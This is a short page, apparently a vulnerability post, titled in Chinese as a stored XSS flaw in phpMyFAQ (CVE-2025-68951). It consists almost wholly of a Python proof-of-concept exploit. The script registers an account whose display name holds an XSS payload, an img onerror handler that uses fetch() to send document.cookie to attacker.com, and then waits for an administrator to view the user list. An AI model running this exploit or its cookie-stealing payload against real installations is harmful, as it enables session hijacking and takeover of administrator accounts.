CVE-2025-68951 phpMyFAQ存储型XSS漏洞

import requests import json # CVE-2025-68951 Stored XSS PoC for phpMyFAQ 4.0.14/4.0.15 # Target: phpMyFAQ installation # Attack: Register user with XSS payload in display name TARGET_URL = "http://target-site.com/phpmyfaq" ATTACKER_USERNAME = "attacker_user" ATTACKER_PASSWORD = "Password123!" XSS_PAYLOAD = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' def register_malicious_user(): """Register a new user with XSS payload in display name""" register_url = f"{TARGET_URL}/api/user/register" # Payload data with XSS in display name data = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD, "email": "[email protected]", "display_name": XSS_PAYLOAD, "confirm_password": ATTACKER_PASSWORD } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(register_url, json=data, headers=headers, timeout=10) print(f"[*] Registration Response: {response.status_code}") if response.status_code == 201: print("[+] Malicious user registered successfully") print(f"[*] XSS Payload: {XSS_PAYLOAD}") print("[*] Wait for admin to view user list in admin panel") else: print(f"[-] Registration failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-68951 phpMyFAQ Stored XSS PoC") print("=" * 60) register_malicious_user()